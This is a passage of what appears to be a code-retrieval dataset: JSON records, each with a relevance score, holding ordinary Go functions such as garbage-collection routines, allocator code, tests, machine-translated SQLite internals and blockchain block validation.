recoverAndGC() error {\n\tvar errors []string\n\tfor _, err := range v.recoverNetworkNamespaces() {\n\t\terrors = append(errors, fmt.Sprintf(\"* error recovering VM network namespaces: %v\", err))\n\t}\n\n\tfor _, err := range v.virtTool.GarbageCollect() {\n\t\terrors = append(errors, fmt.Sprintf(\"* error performing libvirt GC: %v\", err))\n\t}\n\n\tif err := v.imageStore.GC(); err != nil {\n\t\terrors = append(errors, fmt.Sprintf(\"* error during image GC: %v\", err))\n\t}\n\n\tif len(errors) == 0 {\n\t\treturn nil\n\t}\n\n\treturn fmt.Errorf(\"errors encountered during recover / GC:\\n%s\", strings.Join(errors, \"\\n\"))\n}", "title": "" }, { "docid": "8cab9550b6dccd0c30dcead53347e068", "score": "0.4493325", "text": "func TestAllocRunner_SaveRestoreState_Upgrade(t *testing.T) {\n\tt.Parallel()\n\talloc := mock.Alloc()\n\ttask := alloc.Job.TaskGroups[0].Tasks[0]\n\ttask.Driver = \"mock_driver\"\n\ttask.Config = map[string]interface{}{\n\t\t\"exit_code\": \"0\",\n\t\t\"run_for\": \"10s\",\n\t}\n\n\tupd, ar := testAllocRunnerFromAlloc(t, alloc, false)\n\t// Hack in old version to cause an upgrade on RestoreState\n\torigConfig := ar.config.Copy()\n\tar.config.Version = &version.VersionInfo{Version: \"0.5.6\"}\n\tgo ar.Run()\n\tdefer ar.Destroy()\n\n\t// Snapshot state\n\ttestutil.WaitForResult(func() (bool, error) {\n\t\tlast := upd.Last()\n\t\tif last == nil {\n\t\t\treturn false, fmt.Errorf(\"No updates\")\n\t\t}\n\n\t\tif last.ClientStatus != structs.AllocClientStatusRunning {\n\t\t\treturn false, fmt.Errorf(\"got status %v; want %v\", last.ClientStatus, structs.AllocClientStatusRunning)\n\t\t}\n\t\treturn true, nil\n\t}, func(err error) {\n\t\tt.Fatalf(\"task never started: %v\", err)\n\t})\n\n\terr := ar.SaveState()\n\tif err != nil {\n\t\tt.Fatalf(\"err: %v\", err)\n\t}\n\n\t// Create a new alloc runner\n\tl2 := prefixedTestLogger(\"ar2: \")\n\talloc2 := &structs.Allocation{ID: ar.alloc.ID}\n\tprevAlloc := newAllocWatcher(alloc2, ar, nil, origConfig, l2, \"\")\n\tar2 := NewAllocRunner(l2, origConfig, ar.stateDB, upd.Update, alloc2, ar.vaultClient, ar.consulClient, prevAlloc)\n\terr = ar2.RestoreState()\n\tif err != nil {\n\t\tt.Fatalf(\"err: %v\", err)\n\t}\n\tgo ar2.Run()\n\tdefer ar2.Destroy() // Just-in-case of failure before Destroy below\n\n\ttestutil.WaitForResult(func() (bool, error) {\n\t\tlast := upd.Last()\n\t\tif last == nil {\n\t\t\treturn false, fmt.Errorf(\"No updates\")\n\t\t}\n\t\tfor _, ev := range last.TaskStates[\"web\"].Events {\n\t\t\tif strings.HasSuffix(ev.RestartReason, pre06ScriptCheckReason) {\n\t\t\t\treturn true, nil\n\t\t\t}\n\t\t}\n\t\treturn false, fmt.Errorf(\"no restart with proper reason found\")\n\t}, func(err error) {\n\t\tlast := upd.Last()\n\t\tt.Fatalf(\"err: %v\\nweb state: % #v\", err, pretty.Formatter(last.TaskStates[\"web\"]))\n\t})\n\n\t// Destroy and wait\n\tar2.Destroy()\n\tstart := time.Now()\n\n\ttestutil.WaitForResult(func() (bool, error) {\n\t\talloc := ar2.Alloc()\n\t\tif alloc.ClientStatus != structs.AllocClientStatusComplete {\n\t\t\treturn false, fmt.Errorf(\"Bad client status; got %v; want %v\", alloc.ClientStatus, structs.AllocClientStatusComplete)\n\t\t}\n\t\treturn true, nil\n\t}, func(err error) {\n\t\tlast := upd.Last()\n\t\tt.Fatalf(\"err: %v %#v %#v\", err, last, last.TaskStates)\n\t})\n\n\tif time.Since(start) > time.Duration(testutil.TestMultiplier()*5)*time.Second {\n\t\tt.Fatalf(\"took too long to terminate\")\n\t}\n}", "title": "" }, { "docid": "1942d0115ccceb607f936c60098bdbf4", "score": "0.44769332", "text": "func CheckSize(buf []byte, expected int, descrip string) {\n\tif len(buf) != expected {\n\t\tpanic(fmt.Sprintf(\"Incorrect %s buffer size, expected (%d), got (%d).\", descrip, expected, len(buf)))\n\t}\n}", "title": "" }, { "docid": "7c3d31ee39324dbc5d3da8d5d3412073", "score": "0.44750676", "text": "func (alloc *allocator) Alloc(tableID int64) (int64, error) {\n\tif tableID == 0 {\n\t\treturn 0, errInvalidTableID.Gen(\"Invalid tableID\")\n\t}\n\talloc.mu.Lock()\n\tdefer alloc.mu.Unlock()\n\tif alloc.base == alloc.end { // step\n\t\terr := kv.RunInNewTxn(alloc.store, true, func(txn kv.Transaction) error {\n\t\t\tm := meta.NewMeta(txn)\n\t\t\tbase, err1 := m.GetAutoTableID(alloc.dbID, tableID)\n\t\t\tif err1 != nil {\n\t\t\t\treturn errors.Trace(err1)\n\t\t\t}\n\t\t\tend, err1 := m.GenAutoTableID(alloc.dbID, tableID, step)\n\t\t\tif err1 != nil {\n\t\t\t\treturn errors.Trace(err1)\n\t\t\t}\n\n\t\t\talloc.end = end\n\t\t\tif end == step {\n\t\t\t\talloc.base = base\n\t\t\t} else {\n\t\t\t\talloc.base = end - step\n\t\t\t}\n\t\t\treturn nil\n\t\t})\n\n\t\tif err != nil {\n\t\t\treturn 0, errors.Trace(err)\n\t\t}\n\t}\n\n\talloc.base++\n\tlog.Debugf(\"[kv] Alloc id %d, table ID:%d, from %p, database ID:%d\", alloc.base, tableID, alloc, alloc.dbID)\n\treturn alloc.base, nil\n}", "title": "" }, { "docid": "1285b2cdb058262b16c844347a96b0e3", "score": "0.44505584", "text": "func verifyTimerHeap(pp *p) {\n\tfor i, t := range pp.timers {\n\t\tif i == 0 {\n\t\t\t// First timer has no parent.\n\t\t\tcontinue\n\t\t}\n\n\t\t// The heap is 4-ary. See siftupTimer and siftdownTimer.\n\t\tp := (i - 1) / 4\n\t\tif t.when < pp.timers[p].when {\n\t\t\tprint(\"bad timer heap at \", i, \": \", p, \": \", pp.timers[p].when, \", \", i, \": \", t.when, \"\\n\")\n\t\t\tthrow(\"bad timer heap\")\n\t\t}\n\t}\n\tif numTimers := int(atomic.Load(&pp.numTimers)); len(pp.timers) != numTimers {\n\t\tprintln(\"timer heap len\", len(pp.timers), \"!= numTimers\", numTimers)\n\t\tthrow(\"bad timer heap len\")\n\t}\n}", "title": "" }, { "docid": "6261bc433c6a79397493eea42de6699b", "score": "0.4448424", "text": "func (*MockGPool) Running() int32 {\n\tpanic(\"implement me\")\n}", "title": "" }, { "docid": "d7a5916818478a08cab97404ff96d84b", "score": "0.44478595", "text": "func insertedStore(instr ssa.Instruction) bool {\n\tif instr.Pos() != token.NoPos {\n\t\treturn false\n\t}\n\tstore, ok := instr.(*ssa.Store)\n\tif !ok {\n\t\treturn false\n\t}\n\talloc, ok := store.Addr.(*ssa.Alloc)\n\t// we want exactly one use of this alloc value for it to be\n\t// inserted by ssa and dummy - the alloc instruction itself.\n\treturn ok && len(*alloc.Referrers()) == 1\n}", "title": "" }, { "docid": "c7fee3522a5b7d2b7d30bfcd0e081377", "score": "0.44469804", "text": "func (v *VirtletManager) recoverAndGC() error {\n\tvar errors []string\n\n\tfor _, err := range v.virtTool.GarbageCollect() {\n\t\terrors = append(errors, fmt.Sprintf(\"* error performing libvirt GC: %v\", err))\n\t}\n\n\t// recover network namespace after VM GC\n\tfor _, err := range v.recoverNetworkNamespaces() {\n\t\terrors = append(errors, fmt.Sprintf(\"* error recovering VM network namespaces: %v\", err))\n\t}\n\n\tif err := v.imageStore.GC(); err != nil {\n\t\terrors = append(errors, fmt.Sprintf(\"* error during image GC: %v\", err))\n\t}\n\n\tif len(errors) == 0 {\n\t\treturn nil\n\t}\n\n\treturn fmt.Errorf(\"errors encountered during recover / GC:\\n%s\", strings.Join(errors, \"\\n\"))\n}", "title": "" }, { "docid": "449ab965120c85837875f31715b7bb8c", "score": "0.44394493", "text": "func BenchmarkClosureAlloc(b *testing.B) {\n\tabsorb := func(a *bool, b bool) {\n\t\tif *a {\n\t\t\t*a = b\n\t\t} else {\n\t\t\t*a = !b\n\t\t}\n\t}\n\n\tfor i := 0; i < b.N; i++ {\n\t\tvar a bool\n\t\tabsorb(&a, i%2 == 0)\n\t}\n\tb.StopTimer()\n}", "title": "" }, { "docid": "49140d593c0ad7e166d3eed288d2f0a2", "score": "0.44369757", "text": "func TestGrowStorageFolderIncompleteWrite(t *testing.T) {\n\tif testing.Short() {\n\t\tt.SkipNow()\n\t}\n\tt.Parallel()\n\td := new(dependencyIncompleteGrow)\n\tcmt, err := newMockedContractManagerTester(d, \"TestGrowStorageFolderIncompleteWrite\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer cmt.panicClose()\n\n\t// Add a storage folder.\n\tstorageFolderOne := filepath.Join(cmt.persistDir, \"storageFolderOne\")\n\t// Create the storage folder dir.\n\terr = os.MkdirAll(storageFolderOne, 0700)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\terr = cmt.cm.AddStorageFolder(storageFolderOne, modules.SectorSize*storageFolderGranularity*3)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\t// Get the index of the storage folder.\n\tsfs := cmt.cm.StorageFolders()\n\tif len(sfs) != 1 {\n\t\tt.Fatal(\"there should only be one storage folder\")\n\t}\n\tsfIndex := sfs[0].Index\n\t// Verify that the storage folder has the correct capacity.\n\tif sfs[0].Capacity != modules.SectorSize*storageFolderGranularity*3 {\n\t\tt.Error(\"new storage folder is reporting the wrong capacity\")\n\t}\n\n\t// Trigger the dependencies, so that writes begin failing.\n\td.mu.Lock()\n\td.threshold = 1 << 20\n\td.triggered = true\n\td.mu.Unlock()\n\n\t// Increase the size of the storage folder, to large enough that it will\n\t// fail.\n\terr = cmt.cm.ResizeStorageFolder(sfIndex, modules.SectorSize*storageFolderGranularity*25, false)\n\tif err == nil {\n\t\tt.Fatal(\"expecting error upon resize\")\n\t}\n\n\t// Verify that the storage folder has the correct capacity.\n\tif sfs[0].Capacity != modules.SectorSize*storageFolderGranularity*3 {\n\t\tt.Error(\"new storage folder is reporting the wrong capacity\")\n\t}\n\t// Verify that the on-disk files are the right size.\n\tmfn := filepath.Join(storageFolderOne, metadataFile)\n\tsfn := filepath.Join(storageFolderOne, sectorFile)\n\tmfi, err := os.Stat(mfn)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tsfi, err := os.Stat(sfn)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif uint64(mfi.Size()) != sectorMetadataDiskSize*storageFolderGranularity*3 {\n\t\tt.Error(\"metadata file is the wrong size:\", mfi.Size(), sectorMetadataDiskSize*storageFolderGranularity*3)\n\t}\n\tif uint64(sfi.Size()) != modules.SectorSize*storageFolderGranularity*3 {\n\t\tt.Error(\"sector file is the wrong size:\", sfi.Size(), modules.SectorSize*storageFolderGranularity*3)\n\t}\n\n\t// Restart the contract manager.\n\terr = cmt.cm.Close()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tcmt.cm, err = New(filepath.Join(cmt.persistDir, modules.ContractManagerDir))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\t// Verify that the storage folder has the correct capacity.\n\tif sfs[0].Capacity != modules.SectorSize*storageFolderGranularity*3 {\n\t\tt.Error(\"new storage folder is reporting the wrong capacity\")\n\t}\n\t// Verify that the on-disk files are the right size.\n\tmfi, err = os.Stat(mfn)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tsfi, err = os.Stat(sfn)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif uint64(mfi.Size()) != sectorMetadataDiskSize*storageFolderGranularity*3 {\n\t\tt.Error(\"metadata file is the wrong size:\", mfi.Size(), sectorMetadataDiskSize*storageFolderGranularity*3)\n\t}\n\tif uint64(sfi.Size()) != modules.SectorSize*storageFolderGranularity*3 {\n\t\tt.Error(\"sector file is the wrong size:\", sfi.Size(), modules.SectorSize*storageFolderGranularity*3)\n\t}\n}", "title": "" }, { "docid": "48c8a7b5a40ee35d0f286657ce0cd126", "score": "0.4434289", "text": "func (dispute ComputationDispute) PresentMemoryRegions(regions []Chunk, proofs []MerkleProof) { panic(\"\") }", "title": "" }, { "docid": "e7f42db593fd87306dcf965a376481ca", "score": "0.44265038", "text": "func TestSEGV() {\n\tdefer func() {\n\t\tif recover() == nil {\n\t\t\tfmt.Fprintln(os.Stderr, \"no panic from segv\")\n\t\t\tos.Exit(1)\n\t\t}\n\t}()\n\t*P = 0\n\tfmt.Fprintln(os.Stderr, \"continued after segv\")\n\tos.Exit(1)\n}", "title": "" }, { "docid": "6ee2b553a8e6867262156bdd8cf3a237", "score": "0.44262797", "text": "func _614dbMallocRawFinish(tls *crt.TLS, _db uintptr /* *Tsqlite3 */, _n Tu64) (r uintptr) {\n\tvar _p uintptr // uintptr\n\n\t_p = _200sqlite3Malloc(tls, _n)\n\tif _p != 0 {\n\t\tgoto _1\n\t}\n\n\t_180sqlite3OomFault(tls, _db)\n_1:\n\treturn _p\n}", "title": "" }, { "docid": "2cef6ed63e8bc371e8a9f5bc19f54342", "score": "0.44198412", "text": "func (prgrm *CXProgram) EnsureHeap() {\n\tcurrHeapSize := len(prgrm.Memory) - prgrm.HeapStartsAt\n\tminHeapSize := minHeapSize()\n\tif currHeapSize < minHeapSize {\n\t\tprgrm.Memory = append(prgrm.Memory, make([]byte, minHeapSize-currHeapSize)...)\n\t}\n}", "title": "" }, { "docid": "4160223612fc13765a0e0abf243f1f68", "score": "0.44062558", "text": "func assertAllocateWithinErrPct(t *testing.T, nPools, nAllocations, nConc, errPct int) {\n\trand.Seed(time.Now().Unix())\n\tvar m Mux\n\tpools := make([]Pool, nPools)\n\tfor i := 0; i < nPools; i++ {\n\t\tpools[i] = newTestPool(fmt.Sprintf(\"pool-%d\", i), small)\n\t}\n\tm.SetPools(pools)\n\n\tvar nerr int32\n\t_ = traverse.Limit(nConc).Each(nAllocations, func(_ int) error {\n\t\tctx, cancel := context.WithTimeout(context.Background(), 200 * time.Millisecond)\n\t\tdefer cancel()\n\t\tif _, err := Allocate(ctx, &m, reflow.Requirements{Min: small}, nil); err != nil {\n\t\t\tatomic.AddInt32(&nerr, 1)\n\t\t}\n\t\treturn nil\n\t})\n\tif got, want := atomic.LoadInt32(&nerr), int32(nAllocations*errPct/100); got > want {\n\t\tt.Errorf(\"got %v, want <= %v (%d%% of %d)\", got, want, errPct, nAllocations)\n\t} else if got > 0 {\n\t\tt.Logf(\"got %d errors (below %d%% of %d)\", got, errPct, nAllocations)\n\t}\n}", "title": "" }, { "docid": "9f85e3b457d587faa5814e1c8e7b1b3e", "score": "0.44045472", "text": "func (f *FakePoolConnection) verifyAllExecutedOrFail() {\n\tf.mu.Lock()\n\tdefer f.mu.Unlock()\n\n\tif f.expectedExecuteFetchIndex != len(f.expectedExecuteFetch) {\n\t\tf.t.Errorf(\"%v: not all expected queries were executed. leftovers: %v\", f.name, f.expectedExecuteFetch[f.expectedExecuteFetchIndex:])\n\t}\n}", "title": "" }, { "docid": "2beb06f8faf8e65a58bce680255265ab", "score": "0.4401434", "text": "func testValidateInternalData(t *testing.T, pq *PriorityQueue, expectedSize int, drain bool) {\n\tactualSize := pq.Len()\n\tif actualSize != expectedSize {\n\t\tt.Fatalf(\"expected new queue size to be (%d), got (%d)\", expectedSize, actualSize)\n\t}\n\n\tif len(pq.data) != len(pq.dataMap) || len(pq.data) != expectedSize {\n\t\tt.Fatalf(\"error in queue/map size, expected data and map to be (%d), got (%d) and (%d)\", expectedSize, len(pq.data), len(pq.dataMap))\n\t}\n\n\tif drain && pq.Len() > 0 {\n\t\t// pop all the items, verify lengths\n\t\ti, _ := pq.Pop()\n\t\tfor ; i != nil; i, _ = pq.Pop() {\n\t\t\texpectedSize--\n\t\t\tif len(pq.data) != len(pq.dataMap) || len(pq.data) != expectedSize {\n\t\t\t\tt.Fatalf(\"error in queue/map size, expected data and map to be (%d), got (%d) and (%d)\", expectedSize, len(pq.data), len(pq.dataMap))\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "49618b4a083bdc59bfe1c3b524bb6054", "score": "0.4390934", "text": "func Xsqlite3Realloc(tls *libc.TLS, pOld uintptr, nBytes U64) uintptr {\n\tvar nOld int32\n\tvar nNew int32\n\tvar nDiff int32\n\tvar pNew uintptr\n\n\tif pOld == uintptr(0) {\n\t\treturn Xsqlite3Malloc(tls, nBytes)\n\t}\n\tif nBytes == uint64(0) {\n\t\tXsqlite3_free(tls, pOld)\n\t\treturn uintptr(0)\n\t}\n\tif nBytes >= uint64(0x7fffff00) {\n\t\treturn uintptr(0)\n\t}\n\tnOld = Xsqlite3MallocSize(tls, pOld)\n\n\tnNew = (*struct{ f func(*libc.TLS, int32) int32 })(unsafe.Pointer(&struct{ uintptr }{Xsqlite3Config.Fm.FxRoundup})).f(tls, int32(nBytes))\n\tif nOld == nNew {\n\t\tpNew = pOld\n\t} else if Xsqlite3Config.FbMemstat != 0 {\n\t\tvar nUsed Sqlite3_int64\n\t\tXsqlite3_mutex_enter(tls, mem0.Fmutex)\n\t\tXsqlite3StatusHighwater(tls, SQLITE_STATUS_MALLOC_SIZE, int32(nBytes))\n\t\tnDiff = nNew - nOld\n\t\tif nDiff > 0 && libc.AssignInt64(&nUsed, Xsqlite3StatusValue(tls, SQLITE_STATUS_MEMORY_USED)) >= mem0.FalarmThreshold-Sqlite3_int64(nDiff) {\n\t\t\tsqlite3MallocAlarm(tls, nDiff)\n\t\t\tif mem0.FhardLimit > int64(0) && nUsed >= mem0.FhardLimit-Sqlite3_int64(nDiff) {\n\t\t\t\tXsqlite3_mutex_leave(tls, mem0.Fmutex)\n\t\t\t\treturn uintptr(0)\n\t\t\t}\n\t\t}\n\t\tpNew = (*struct {\n\t\t\tf func(*libc.TLS, uintptr, int32) uintptr\n\t\t})(unsafe.Pointer(&struct{ uintptr }{Xsqlite3Config.Fm.FxRealloc})).f(tls, pOld, nNew)\n\t\tif pNew == uintptr(0) && mem0.FalarmThreshold > int64(0) {\n\t\t\tsqlite3MallocAlarm(tls, int32(nBytes))\n\t\t\tpNew = (*struct {\n\t\t\t\tf func(*libc.TLS, uintptr, int32) uintptr\n\t\t\t})(unsafe.Pointer(&struct{ uintptr }{Xsqlite3Config.Fm.FxRealloc})).f(tls, pOld, nNew)\n\t\t}\n\t\tif pNew != 0 {\n\t\t\tnNew = Xsqlite3MallocSize(tls, pNew)\n\t\t\tXsqlite3StatusUp(tls, SQLITE_STATUS_MEMORY_USED, nNew-nOld)\n\t\t}\n\t\tXsqlite3_mutex_leave(tls, mem0.Fmutex)\n\t} else {\n\t\tpNew = (*struct {\n\t\t\tf func(*libc.TLS, uintptr, int32) uintptr\n\t\t})(unsafe.Pointer(&struct{ uintptr }{Xsqlite3Config.Fm.FxRealloc})).f(tls, pOld, nNew)\n\t}\n\n\treturn pNew\n}", "title": "" }, { "docid": "ebadeea59b96674eaf0b20125e10ce69", "score": "0.43901965", "text": "func _722sqlite3BtreeIntegrityCheck(tls *crt.TLS, _p uintptr /* *TBtree */, _aRoot uintptr /* *int32 */, _nRoot int32, _mxErr int32, _pnErr uintptr /* *int32 */) (r uintptr) {\n\tesc := crt.MustMalloc(200)\n\tvar (\n\t\t_i TPgno\n\t\t_sCheck = esc // *TIntegrityCk\n\t\t_pBt uintptr // *TBtShared\n\t\t_savedDbFlags int32\n\t\t_zErr = esc + 80 // *[100]int8\n\t\t_notUsed = esc + 192 // *Ti64\n\t)\n\tdefer crt.Free(esc)\n\t_pBt = *(*uintptr)(unsafe.Pointer(_p + 4))\n\t_savedDbFlags = int32(*(*Tu32)(unsafe.Pointer((*(*uintptr)(unsafe.Pointer(_pBt + 4))) + 28)))\n\t_141sqlite3BtreeEnter(tls, _p)\n\n\t*(*uintptr)(unsafe.Pointer(_sCheck)) = _pBt\n\t*(*uintptr)(unsafe.Pointer(_sCheck + 4)) = *(*uintptr)(unsafe.Pointer(_pBt))\n\t*(*TPgno)(unsafe.Pointer(_sCheck + 12)) = _334btreePagecount(tls, *(*uintptr)(unsafe.Pointer(_sCheck)))\n\t*(*int32)(unsafe.Pointer(_sCheck + 16)) = _mxErr\n\t*(*int32)(unsafe.Pointer(_sCheck + 20)) = int32(0)\n\t*(*int32)(unsafe.Pointer(_sCheck + 24)) = int32(0)\n\t*(*uintptr)(unsafe.Pointer(_sCheck + 28)) = null\n\t*(*int32)(unsafe.Pointer(_sCheck + 32)) = int32(0)\n\t*(*int32)(unsafe.Pointer(_sCheck + 36)) = int32(0)\n\t*(*uintptr)(unsafe.Pointer(_sCheck + 8)) = null\n\t*(*uintptr)(unsafe.Pointer(_sCheck + 64)) = null\n\t_132sqlite3StrAccumInit(tls, _sCheck+40, null, _zErr, int32(100), int32(1000000000))\n\t*(*Tu8)(unsafe.Pointer((_sCheck + 40) + 21)) = Tu8(0x1)\n\tif (*(*TPgno)(unsafe.Pointer(_sCheck + 12))) != TPgno(0) {\n\t\tgoto _1\n\t}\n\n\tgoto _integrity_ck_cleanup\n\n_1:\n\t*(*uintptr)(unsafe.Pointer(_sCheck + 8)) = _137sqlite3MallocZero(tls, uint64(((*(*TPgno)(unsafe.Pointer(_sCheck + 12)))/TPgno(8))+TPgno(1)))\n\tif (*(*uintptr)(unsafe.Pointer(_sCheck + 8))) != 0 {\n\t\tgoto _2\n\t}\n\n\t*(*int32)(unsafe.Pointer(_sCheck + 24)) = int32(1)\n\tgoto _integrity_ck_cleanup\n\n_2:\n\t*(*uintptr)(unsafe.Pointer(_sCheck + 64)) = _758sqlite3PageMalloc(tls, int32(*(*Tu32)(unsafe.Pointer(_pBt + 32))))\n\tif (*(*uintptr)(unsafe.Pointer(_sCheck + 64))) != 0 {\n\t\tgoto _3\n\t}\n\n\t*(*int32)(unsafe.Pointer(_sCheck + 24)) = int32(1)\n\tgoto _integrity_ck_cleanup\n\n_3:\n\t_i = (uint32(_151sqlite3PendingByte) / (*(*Tu32)(unsafe.Pointer(_pBt + 32)))) + uint32(1)\n\tif _i > (*(*TPgno)(unsafe.Pointer(_sCheck + 12))) {\n\t\tgoto _4\n\t}\n\n\t_1011setPageReferenced(tls, _sCheck, _i)\n_4:\n\t*(*uintptr)(unsafe.Pointer(_sCheck + 28)) = ts + 20294 /* \"Main freelist: \" */\n\t_1012checkList(tls, _sCheck, int32(1), int32(_330sqlite3Get4byte(tls, (*(*uintptr)(unsafe.Pointer((*(*uintptr)(unsafe.Pointer(_pBt + 12))) + 56)))+32)), int32(_330sqlite3Get4byte(tls, (*(*uintptr)(unsafe.Pointer((*(*uintptr)(unsafe.Pointer(_pBt + 12))) + 56)))+36)))\n\t*(*uintptr)(unsafe.Pointer(_sCheck + 28)) = null\n\t{\n\t\tp := &(*(*Tu32)(unsafe.Pointer((*(*uintptr)(unsafe.Pointer(_pBt + 4))) + 28)))\n\t\t*p = Tu32(Tu32(*p) & Tu32(4292870143))\n\t}\n\t_i = TPgno(0)\n_5:\n\tif int32(_i) >= _nRoot || (*(*int32)(unsafe.Pointer(_sCheck + 16))) == 0 {\n\t\tgoto _7\n\t}\n\n\tif (*(*int32)(unsafe.Pointer(_aRoot + 4*uintptr(_i)))) != int32(0) {\n\t\tgoto _8\n\t}\n\n\tgoto _6\n\n_8:\n\tif (*(*Tu8)(unsafe.Pointer(_pBt + 17))) == 0 || (*(*int32)(unsafe.Pointer(_aRoot + 4*uintptr(_i)))) <= int32(1) {\n\t\tgoto _9\n\t}\n\n\t_1013checkPtrmap(tls, _sCheck, uint32(*(*int32)(unsafe.Pointer(_aRoot + 4*uintptr(_i)))), uint8(1), uint32(0))\n_9:\n\t_1014checkTreePage(tls, _sCheck, *(*int32)(unsafe.Pointer(_aRoot + 4*uintptr(_i))), _notUsed, int64(9223372036854775807))\n\n_6:\n\t_i++\n\tgoto _5\n\n_7:\n\t*(*Tu32)(unsafe.Pointer((*(*uintptr)(unsafe.Pointer(_pBt + 4))) + 28)) = Tu32(_savedDbFlags)\n\t_i = TPgno(1)\n_10:\n\tif _i > (*(*TPgno)(unsafe.Pointer(_sCheck + 12))) || (*(*int32)(unsafe.Pointer(_sCheck + 16))) == 0 {\n\t\tgoto _12\n\t}\n\n\tif _1015getPageReferenced(tls, _sCheck, _i) != int32(0) || _598ptrmapPageno(tls, _pBt, _i) == _i && (*(*Tu8)(unsafe.Pointer(_pBt + 17))) != 0 {\n\t\tgoto _13\n\t}\n\n\t_1016checkAppendMsg(tls, _sCheck, ts+20310 /* \"Page %d is never used\" */, _i)\n_13:\n\tif _1015getPageReferenced(tls, _sCheck, _i) == int32(0) || (_598ptrmapPageno(tls, _pBt, _i) != _i || (*(*Tu8)(unsafe.Pointer(_pBt + 17))) == 0) {\n\t\tgoto _14\n\t}\n\n\t_1016checkAppendMsg(tls, _sCheck, ts+20332 /* \"Pointer map page %d is reference...\" */, _i)\n_14:\n\t_i++\n\tgoto _10\n\n_12:\n_integrity_ck_cleanup:\n\t_756sqlite3PageFree(tls, *(*uintptr)(unsafe.Pointer(_sCheck + 64)))\n\tXsqlite3_free(tls, *(*uintptr)(unsafe.Pointer(_sCheck + 8)))\n\tif (*(*int32)(unsafe.Pointer(_sCheck + 24))) == 0 {\n\t\tgoto _15\n\t}\n\n\t_870sqlite3StrAccumReset(tls, _sCheck+40)\n\t(*(*int32)(unsafe.Pointer(_sCheck + 20)))++\n_15:\n\t*(*int32)(unsafe.Pointer(_pnErr)) = *(*int32)(unsafe.Pointer(_sCheck + 20))\n\tif (*(*int32)(unsafe.Pointer(_sCheck + 20))) != int32(0) {\n\t\tgoto _16\n\t}\n\n\t_870sqlite3StrAccumReset(tls, _sCheck+40)\n_16:\n\t_171sqlite3BtreeLeave(tls, _p)\n\treturn _301sqlite3StrAccumFinish(tls, _sCheck+40)\n}", "title": "" }, { "docid": "b3e2025f83604bc266c02f0088c7c91a", "score": "0.43892753", "text": "func _616measureAllocationSize(tls *crt.TLS, _db uintptr /* *Tsqlite3 */, _p uintptr /* uintptr */) {\n\t{\n\t\tp := &(*(*int32)(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(_db + 460)))))\n\t\t*p = int32(int32(*p) + _747sqlite3DbMallocSize(tls, _db, _p))\n\t}\n}", "title": "" }, { "docid": "bacef211f67c8a11a1c81caa6da3e6a1", "score": "0.43882442", "text": "func (d *ValidateShootStateDeletion) ValidateInitialization() error {\n\tif d.shootStateLister == nil {\n\t\treturn errors.New(\"missing ShootState lister\")\n\t}\n\n\tif d.coreClient == nil {\n\t\treturn errors.New(\"missing garden core client\")\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "c8307a3663cc533efa20ad498ad26459", "score": "0.4386249", "text": "func (mab *memoryAddrBook) gc() {\n\tnow := mab.clock.Now()\n\tfor _, s := range mab.segments {\n\t\ts.Lock()\n\t\tfor p, amap := range s.addrs {\n\t\t\tfor k, addr := range amap {\n\t\t\t\tif addr.ExpiredBy(now) {\n\t\t\t\t\tdelete(amap, k)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif len(amap) == 0 {\n\t\t\t\tdelete(s.addrs, p)\n\t\t\t\tdelete(s.signedPeerRecords, p)\n\t\t\t}\n\t\t}\n\t\ts.Unlock()\n\t}\n}", "title": "" }, { "docid": "aa86767e4f893e009c0fa8579df2214e", "score": "0.43771484", "text": "func validate(b *protocol.Block, initialSetup bool) error {\n\t//TODO Optimize code\n\n\t//This mutex is necessary that own-mined blocks and received blocks from the network are not\n\t//validated concurrently.\n\tblockValidation.Lock()\n\tdefer blockValidation.Unlock()\n\n\t//Prepare datastructure to fill tx payloads.\n\tblockDataMap := make(map[[32]byte]blockData)\n\n\t//Get the right branch, and a list of blocks to rollback (if necessary).\n\tblocksToRollback, blocksToValidate, err := getBlockSequences(b)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t//Verify block time is dynamic and corresponds to system time at the time of retrieval.\n\t//If we are syncing or far behind, we cannot do this dynamic check,\n\t//therefore we include a boolean uptodate. If it's true we consider ourselves uptodate and\n\t//do dynamic time checking.\n\tif len(blocksToValidate) > DELAYED_BLOCKS {\n\t\tuptodate = false\n\t} else {\n\t\tuptodate = true\n\t}\n\n\t//No rollback needed, just a new block to validate.\n\tif len(blocksToRollback) == 0 {\n\t\tfor _, block := range blocksToValidate {\n\t\t\t//Fetching payload data from the txs (if necessary, ask other miners).\n\t\t\taccTxs, fundsTxs, configTxs, stakeTxs, err := preValidate(block, initialSetup)\n\n\t\t\t//Check if the validator that added the block has previously voted on different competing chains (find slashing proof).\n\t\t\t//The proof will be stored in the global slashing dictionary.\n\t\t\tif block.Height > 0 {\n\t\t\t\tseekSlashingProof(block)\n\t\t\t}\n\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tblockDataMap[block.Hash] = blockData{accTxs, fundsTxs, configTxs, stakeTxs, block}\n\t\t\tif err := validateState(blockDataMap[block.Hash]); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tpostValidate(blockDataMap[block.Hash], initialSetup)\n\t\t}\n\t} else {\n\t\tfor _, block := range blocksToRollback {\n\t\t\tif err := rollback(block); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tlogger.Printf(\"Rolled back block: %vState:\\n%v\", block, getState())\n\t\t}\n\t\tfor _, block := range blocksToValidate {\n\t\t\t//Fetching payload data from the txs (if necessary, ask other miners).\n\t\t\taccTxs, fundsTxs, configTxs, stakeTxs, err := preValidate(block, initialSetup)\n\n\t\t\t//Check if the validator that added the block has previously voted on different competing chains (find slashing proof).\n\t\t\t//The proof will be stored in the global slashing dictionary.\n\t\t\tif block.Height > 0 